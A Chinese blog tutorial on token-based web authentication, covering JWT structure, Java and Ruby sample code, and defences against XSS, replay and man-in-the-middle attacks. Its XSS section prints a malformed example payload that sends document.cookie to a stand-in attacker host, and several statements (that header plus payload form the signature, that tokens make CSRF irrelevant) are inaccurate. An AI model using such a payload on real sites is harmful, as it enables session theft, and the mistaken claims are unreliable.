基于Token的WEB后臺認(rèn)證機(jī)制:Token

一、常見的集中認(rèn)證機(jī)制

1、HTTP Basic Auth

在每次訪問 API 時(shí),都要提供用戶的username 和 password,Basic Auth 是配合 RESTful使用的最簡單的認(rèn)證方式,只需要提供用戶名和密碼即可。因此,存在把用戶名和密碼暴露給第三方的安全問題。

2、OAuth

OAuth(開放授權(quán))是一個(gè)開放的授權(quán)標(biāo)準(zhǔn),允許用戶讓第三方應(yīng)用訪問該用戶在某一web服務(wù)上存儲的私密的資源(如照片,視頻,聯(lián)系人列表),而無需將用戶名和密碼提供給第三方應(yīng)用。

OAuth允許用戶提供一個(gè)令牌,而不是用戶名和密碼來訪問他們存放在特定服務(wù)提供者的數(shù)據(jù)。每一個(gè)令牌授權(quán)一個(gè)特定的第三方系統(tǒng)(例如,視頻編輯網(wǎng)站)在特定的時(shí)段(例如,接下來的2小時(shí)內(nèi))內(nèi)訪問特定的資源(例如僅僅是某一相冊中的視頻)。這樣,OAuth讓用戶可以授權(quán)第三方網(wǎng)站訪問他們存儲在另外服務(wù)提供者的某些特定信息,而非所有內(nèi)容

  • 下面是OAuth2.0的流程:
OAuth流程

這種基于OAuth的認(rèn)證機(jī)制適用于個(gè)人消費(fèi)者類的互聯(lián)網(wǎng)產(chǎn)品,如社交類APP等應(yīng)用,但是不太適合擁有自有認(rèn)證權(quán)限管理的企業(yè)應(yīng)用;

3、Cookie Auth

Cookie認(rèn)證機(jī)制就是為一次請求認(rèn)證在服務(wù)端創(chuàng)建一個(gè)Session對象,同時(shí)在客戶端的瀏覽器端創(chuàng)建了一個(gè)Cookie對象;通過客戶端帶上來Cookie對象來與服務(wù)器端的session對象匹配來實(shí)現(xiàn)狀態(tài)管理的。默認(rèn)的,當(dāng)我們關(guān)閉瀏覽器的時(shí)候,cookie會被刪除。但可以通過修改cookie 的expire time使cookie在一定時(shí)間內(nèi)有效;

4、Token Auth

Token Auth

4.1 token auth相對于cookie auth的優(yōu)勢:

  • ① 支持跨域訪問:

Cookie auth 是不允許跨域訪問的,但是 Token auth是可以的,只需要將用戶認(rèn)證信息通過 HTTP 頭出入即可。

  • ② 無狀態(tài)(服務(wù)器可擴(kuò)展行):

Token機(jī)制在服務(wù)器端不需要存儲Session信息,因?yàn)樵赥oken中包含了所有的登陸用戶信息,只需要在客戶端的cookie或者本地介質(zhì)中存儲狀態(tài)信息。

  • ③ 要適用CDN:

可以通過內(nèi)容分發(fā)請求你服務(wù)端的所有資料(如:js、html、圖片等),而在服務(wù)端只需要提供 API 即可。

  • ④ 去除耦合性:

Token可以在任何的地方生成,所以不需要綁定到一個(gè)特定的身份認(rèn)證方案,只要在調(diào)用你的 API 時(shí),你可以進(jìn)行Token的生成調(diào)用即可。

  • ⑤ 適用于移動應(yīng)用:

Cookie 是不能在原生平臺(IOS、Android、Windows8等)上被支持的(需要通過Cookie容器來處理),而此時(shí)使用Token機(jī)制會方便很多,

  • ⑥ CSRF(跨站請求偽造):

因?yàn)門oken本身是不依賴與Cookie的,所以不需要考慮CSRF的防范。

  • ⑦ 性能:

Cookie認(rèn)證,需要在一次網(wǎng)絡(luò)往返中,通過數(shù)據(jù)庫查詢Session信息,而Token只需要進(jìn)行一次的 hmacsha256 的計(jì)算,因此在性能上會好很多。

  • ⑧ 基于標(biāo)準(zhǔn)化:

你的API可以采用標(biāo)準(zhǔn)化的 JSON Web Token (JWT). 這個(gè)標(biāo)準(zhǔn)已經(jīng)存在多個(gè)后端庫(.NET, Ruby, Java,Python, PHP)和多家公司的支持(如:Firebase,Google, Microsoft).


二、基于JWT的Token認(rèn)證

Json Web Token 是一個(gè)非常輕巧的規(guī)范,這個(gè)規(guī)范可以允許我使用JWT在用戶和服務(wù)器直接傳輸安全可靠的信息。

1、JWT的組成

一個(gè)JWT實(shí)際上就是一個(gè)字符串,它由三部分組成:頭部、載荷、簽名。

1.1 載荷(Payload)

{ "iss": "Online JWT Builder", 
  "iat": 1416797419, 
  "exp": 1448333419, 
  "aud": "www.example.com", 
  "sub": "jrocket@example.com", 
  "GivenName": "Johnny", 
  "Surname": "Rocket", 
  "Email": "jrocket@example.com", 
  "Role": [ "Manager", "Project Administrator" ] 
}
  • iss:該JWT的簽發(fā)者,是否使用是可以選擇的。
  • sub:該JWT所面向的用戶,是否使用是可選的。
  • aud:接收該JWT的一方,是否使用是可選的。
  • exp(expires):什么時(shí)候過期,是一個(gè)UNIX的時(shí)間戳,是否使用是可選的。
  • iat(issued at):在什么時(shí)候簽發(fā)UNIX時(shí)間,是否使用是可選的。
  • nbf(not before):如果當(dāng)前時(shí)間在nbf的時(shí)間之前,則Token不被接受,一般都會留幾分鐘,是否使用是可選的。

將上面的json對象進(jìn)行base64編碼,即可以得到對應(yīng)的字符串,這個(gè)字符串就是JWT的載荷

eyJpc3MiOiJKb2huIFd1IEpXVCIsImlhdCI6MTQ0MTU5MzUwMiwiZXhwIjoxNDQxNTk0NzIyLCJhdWQiOiJ3d3cuZXhhbXBsZS5jb20iLCJzdWIiOiJqcm9ja2V0QGV4YW1wbGUuY29tIiwiZnJvbV91c2VyIjoiQiIsInRhcmdldF91c2VyIjoiQSJ9

小知識: Base64是一種基于64個(gè)可打印字符來表示二進(jìn)制數(shù)據(jù)的表示方法。由于2的6次方等于64,所以每6個(gè)比特為一個(gè)單元,對應(yīng)某個(gè)可打印字符。三個(gè)字節(jié)有24個(gè)比特,對應(yīng)于4個(gè)Base64單元,即3個(gè)字節(jié)需要用4個(gè)可打印字符來表示。JDK 中提供了非常方便的 BASE64Encoder 和 BASE64Decoder,用它們可以非常方便的完成基于 BASE64 的編碼和解碼

1.2 頭部(Header)

頭部用戶描述該 JWT 的最基本的信息,例如其類型以及簽名所用的算法等。它也可以被表示成一個(gè)json.

{
"typ": "JWT",
"alg": "HS256"  // 指明使用HS256算法
}

對上面的json進(jìn)行base64位編碼得到對應(yīng)的字符串

eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9

1.3 簽名(signature)

  • 將頭部+載荷生成的字符串用英文的句號連接在一起,便組成了簽名(頭部在前)
eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJKb2huIFd1IEpXVCIsImlhdCI6MTQ0MTU5MzUwMiwiZXhwIjoxNDQxNTk0NzIyLCJhdWQiOiJ3d3cuZXhhbXBsZS5jb20iLCJzdWIiOiJqcm9ja2V0QGV4YW1wbGUuY29tIiwiZnJvbV91c2VyIjoiQiIsInRhcmdldF91c2VyIjoiQSJ9
  • 我們將上面拼接完的字符串用HS256算法進(jìn)行加密。在加密的時(shí)候,我們還需要提供一個(gè)密鑰(secret)。如果我們用mystar作為密鑰的話,那么就可以得到我們加密后的內(nèi)容:
rSWamyAYwuHCo7IFAgd1oRpSP7nzL7BF5t7ItqpKViM
  • 將這一部分簽名也用英文的句號拼接在被簽名的字符串后面,我們就得到了完整的JWT:
eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJmcm9tX3VzZXIiOiJCIiwidGFyZ2V0X3VzZXIiOiJBIn0.rSWamyAYwuHCo7IFAgd1oRpSP7nzL7BF5t7ItqpKViM

請求的URL中就會帶有我們的JWT字符串:

https://your.awesome-app.com/make-friend/?jwt=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJmcm9tX3VzZXIiOiJCIiwidGFyZ2V0X3VzZXIiOiJBIn0.rSWamyAYwuHCo7IFAgd1oRpSP7nzL7BF5t7ItqpKViM

三、Token的認(rèn)證流程

通過一個(gè)小的實(shí)例來詳解Token認(rèn)證的過程。

1 登陸

[圖片上傳失敗...(image-adaf1f-1525842727815)]

  • 第一次認(rèn)證:第一次登陸,用戶在瀏覽器輸入用戶名和密碼,提交后到達(dá)服務(wù)端的登錄處理Controller層。

  • Controller調(diào)用服務(wù),進(jìn)行用戶登陸的用戶名和密碼的驗(yàn)證,如果認(rèn)證通過,Controller調(diào)用用戶信息服務(wù),獲取用戶信息(包括完整的用戶信息以及權(quán)限信息)。

  • 返回用戶登錄信息后,Controller從配置文件中獲取生成的Token秘鑰信息,進(jìn)行Token的生成。

  • 生成Token的過程中可以調(diào)用第三方的JWT Lib生成簽名后的JWT數(shù)據(jù)。

  • 完成JWT數(shù)據(jù)后,將其設(shè)置到Cookie對象中,并重定向到首頁,完成登錄過程。

2、請求認(rèn)證

基于Token的認(rèn)證機(jī)制,在每一次請求時(shí),都會帶上完成簽名的Token信息,這個(gè)Token信息可能在Cookie中,也可能在HTTP的Authorization頭中。

[圖片上傳失敗...(image-cc89b4-1525842727816)]

  • 客戶端(瀏覽器或者APP)通過 GET 或者 POST 請求訪問資源(頁面或者調(diào)用API)。

  • 認(rèn)證服務(wù)作為一個(gè)中間件兒(Middleware HOOK ),對請求進(jìn)行攔截,首先在Cookie中查找Token信息,如果沒有找到在HTTP的Authorization Head中查找。

  • 如果找到Token信息,則根據(jù)配置文件中的簽名加密秘鑰,調(diào)用JWT Lib的對Token信息進(jìn)行解密和解碼操作。

  • 完成解碼并驗(yàn)證簽名通過后,對Token中的exp、nbf、aud等信息進(jìn)行驗(yàn)證。

  • 全部通過后,通過獲取的用戶的角色權(quán)限信息,進(jìn)行對請求資源的權(quán)限邏輯判斷。

  • 如果權(quán)限邏輯判斷通過,則通過Response對象返回,否則返回 HTTP 401.

3、Token認(rèn)證五點(diǎn)認(rèn)知注意

  • 一個(gè)Token就是一些信息的集合。

  • 在Token中包含足夠多的信息,一邊在后續(xù)請求中減少查詢數(shù)據(jù)庫的幾率。

  • 服務(wù)器需要對Cookie和HTTP Authorization Header進(jìn)行Token信息的檢查。

  • 基于上一點(diǎn),你可以用一套Token認(rèn)證來面對瀏覽器類客戶端和非瀏覽器類客戶端。

  • 因?yàn)門oken是被簽名的,所以我們可以認(rèn)為一個(gè)解碼認(rèn)證通過的Token是由我們系統(tǒng)發(fā)出的,其中帶的信息是合法有效的。

四、JWT的java實(shí)現(xiàn)

java中對JWT的支持可以考慮使用開源庫:JJWT,JJWT實(shí)現(xiàn)JWT、JWS、JWE 和 JWA RFC規(guī)范。

1、生成Token

import javax.crypto.spec.SecretKeySpec;
import javax.xml.bind.DatatypeConverter;
import java.security.Key;
import io.jsonwebtoken.*;
import java.util.Date;    
 
//Sample method to construct a JWT
 
private String createJWT(String id, String issuer, String subject, long ttlMillis) {
 
//The JWT signature algorithm we will be using to sign the token
SignatureAlgorithm signatureAlgorithm = SignatureAlgorithm.HS256;
 
long nowMillis = System.currentTimeMillis();
Date now = new Date(nowMillis);
 
//We will sign our JWT with our ApiKey secret
byte[] apiKeySecretBytes = DatatypeConverter.parseBase64Binary(apiKey.getSecret());
Key signingKey = new SecretKeySpec(apiKeySecretBytes, signatureAlgorithm.getJcaName());
 
  //Let's set the JWT Claims
JwtBuilder builder = Jwts.builder().setId(id)
                                .setIssuedAt(now)
                                .setSubject(subject)
                                .setIssuer(issuer)
                                .signWith(signatureAlgorithm, signingKey);
 
//if it has been specified, let's add the expiration
if (ttlMillis >= 0) {
    long expMillis = nowMillis + ttlMillis;
    Date exp = new Date(expMillis);
    builder.setExpiration(exp);
}
 
//Builds the JWT and serializes it to a compact, URL-safe string
return builder.compact();
}

2、解碼和驗(yàn)證Token碼

import javax.xml.bind.DatatypeConverter;
import io.jsonwebtoken.Jwts;
import io.jsonwebtoken.Claims;
 
//Sample method to validate and read the JWT
private void parseJWT(String jwt) {
//This line will throw an exception if it is not a signed JWS (as expected)
Claims claims = Jwts.parser()        
   .setSigningKey(DatatypeConverter.parseBase64Binary(apiKey.getSecret()))
   .parseClaimsJws(jwt).getBody();
System.out.println("ID: " + claims.getId());
System.out.println("Subject: " + claims.getSubject());
System.out.println("Issuer: " + claims.getIssuer());
System.out.println("Expiration: " + claims.getExpiration());

五、基于JWT的Token安全認(rèn)證問題

1、確保驗(yàn)證過程的安全性

如何保證用戶名/密碼驗(yàn)證過程的安全性;因?yàn)樵隍?yàn)證過程中,需要用戶輸入用戶名和密碼,在這一過程中,用戶名、密碼等敏感信息需要在網(wǎng)絡(luò)中傳輸。因此,在這個(gè)過程中建議采用HTTPS,通過SSL加密傳輸,以確保通道的安全性。

2、防范XSS Attacks

2.1 場景

瀏覽器可以做很多事情,這也給瀏覽器端的安全帶來很多隱患,最常見的如:XSS攻擊:跨站腳本攻擊(Cross Site Scripting);如果有個(gè)頁面的輸入框中允許輸入任何信息,且沒有做防范措施,如果我們輸入下面這段代碼:

<img src="x" /> a.src='https://hackmeplz.com/yourCookies.png/?cookies=’
+document.cookie;return a}())"

這段代碼會盜取你域中的所有cookie信息,并發(fā)送到 hackmeplz.com;

2.2 防范措施

  • XSS攻擊代碼過濾

移除任何會導(dǎo)致瀏覽器做非預(yù)期執(zhí)行的代碼,這個(gè)可以采用一些庫來實(shí)現(xiàn)(如:js下的js-xss,JAVA下的XSS HTMLFilter,PHP下的TWIG);如果你是將用戶提交的字符串存儲到數(shù)據(jù)庫的話(也針對SQL注入攻擊),你需要在前端和服務(wù)端分別做過濾;

  • 采用HTTP-Only Cookies

通過設(shè)置Cookie的參數(shù): HttpOnly; Secure 來防止通過JavaScript 來訪問Cookie;

//設(shè)置cookie
response.addHeader("Set-Cookie", "uid=112; Path=/; HttpOnly");

//設(shè)置多個(gè)cookie
response.addHeader("Set-Cookie", "uid=112; Path=/; HttpOnly");
response.addHeader("Set-Cookie", "timeout=30; Path=/test; HttpOnly");

//設(shè)置https的cookie
response.addHeader("Set-Cookie", "uid=112; Path=/; Secure; HttpOnly");

在實(shí)際使用中,我們可以使FireCookie查看我們設(shè)置的Cookie 是否是HttpOnly;

2.3 防范Replay Attacks

所謂重放攻擊就是攻擊者發(fā)送一個(gè)目的主機(jī)已接收過的包,來達(dá)到欺騙系統(tǒng)的目的,主要用于身份認(rèn)證過程。比如在瀏覽器端通過用戶名/密碼驗(yàn)證獲得簽名的Token被木馬竊取。即使用戶登出了系統(tǒng),黑客還是可以利用竊取的Token模擬正常請求,而服務(wù)器端對此完全不知道,以為JWT機(jī)制是無狀態(tài)的。

常用的解決方案

2.3.1 時(shí)間戳 +共享秘鑰

這種方案,客戶端和服務(wù)端都需要知道:

  • User ID
  • 共享秘鑰

客戶端

auth_header = JWT.encode({
  user_id: 123,
  iat: Time.now.to_i,      # 指定token發(fā)布時(shí)間
  exp: Time.now.to_i + 2   # 指定token過期時(shí)間為2秒后,2秒時(shí)間足夠一次HTTP請求,同時(shí)在一定程度確保上一次token過期,減少replay attack的概率;
}, "<my shared secret>")
RestClient.get("http://api.example.com/", authorization: auth_header)

服務(wù)端

class ApiController < ActionController::Base
  attr_reader :current_user
  before_action :set_current_user_from_jwt_token

  def set_current_user_from_jwt_token
    # Step 1:解碼JWT,并獲取User ID,這個(gè)時(shí)候不對Token簽名進(jìn)行檢查
    # the signature. Note JWT tokens are *not* encrypted, but signed.
    payload = JWT.decode(request.authorization, nil, false)

    # Step 2: 檢查該用戶是否存在于數(shù)據(jù)庫
    @current_user = User.find(payload['user_id'])
    
    # Step 3: 檢查Token簽名是否正確.
    JWT.decode(request.authorization, current_user.api_secret)
    
    # Step 4: 檢查 "iat" 和"exp" 以確保這個(gè)Token是在2秒內(nèi)創(chuàng)建的.
    now = Time.now.to_i
    if payload['iat'] > now || payload['exp'] < now
      # 如果過期則返回401
    end
  rescue JWT::DecodeError
    # 返回 401
  end
end
2.3.2 時(shí)間戳 +共享秘鑰+黑名單 (類似Zendesk的做法)

客戶端

auth_header = JWT.encode({
  user_id: 123,
  jti: rand(2 << 64).to_s,  # 通過jti確保一個(gè)token只使用一次,防止replace attack
  iat: Time.now.to_i,       # 指定token發(fā)布時(shí)間.
  exp: Time.now.to_i + 2    # 指定token過期時(shí)間為2秒后
}, "<my shared secret>")
RestClient.get("http://api.example.com/", authorization: auth_header)

服務(wù)端

def set_current_user_from_jwt_token
  # 前面的步驟參考上面
  payload = JWT.decode(request.authorization, nil, false)
  @current_user = User.find(payload['user_id'])
  JWT.decode(request.authorization, current_user.api_secret)
  now = Time.now.to_i
  if payload['iat'] > now || payload['exp'] < now
    # 返回401
  end
  
  # 下面將檢查確保這個(gè)JWT之前沒有被使用過
  # 使用Redis的原子操作
  
  # The redis 的鍵: <user id>:<one-time use token>
  key = "#{payload['user_id']}:#{payload['jti']}"
  
  # 看鍵值是否在redis中已經(jīng)存在. 如果不存在則返回nil. 如果存在則返回“1”. .
  if redis.getset(key, "1")
    # 返回401
    # 
  end
  
  # 進(jìn)行鍵值過期檢查
  redis.expireat(key, payload['exp'] + 2)
end

2.4 防范MITM (Man-In-The-Middle)Attacks

所謂MITM攻擊,就是在客戶端和服務(wù)器端的交互過程被監(jiān)聽,比如像可以上網(wǎng)的咖啡館的WIFI被監(jiān)聽或者被黑的代理服務(wù)器等;
針對這類攻擊的辦法使用HTTPS,包括針對分布式應(yīng)用,在服務(wù)間傳輸像cookie這類敏感信息時(shí)也采用HTTPS;所以云計(jì)算在本質(zhì)上是不安全的。

原文鏈接:基于Token的WEB后臺認(rèn)證機(jī)制

?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請聯(lián)系作者
【社區(qū)內(nèi)容提示】社區(qū)部分內(nèi)容疑似由AI輔助生成,瀏覽時(shí)請結(jié)合常識與多方信息審慎甄別。
平臺聲明:文章內(nèi)容(如有圖片或視頻亦包括在內(nèi))由作者上傳并發(fā)布,文章內(nèi)容僅代表作者本人觀點(diǎn),簡書系信息發(fā)布平臺,僅提供信息存儲服務(wù)。

相關(guān)閱讀更多精彩內(nèi)容

友情鏈接更多精彩內(nèi)容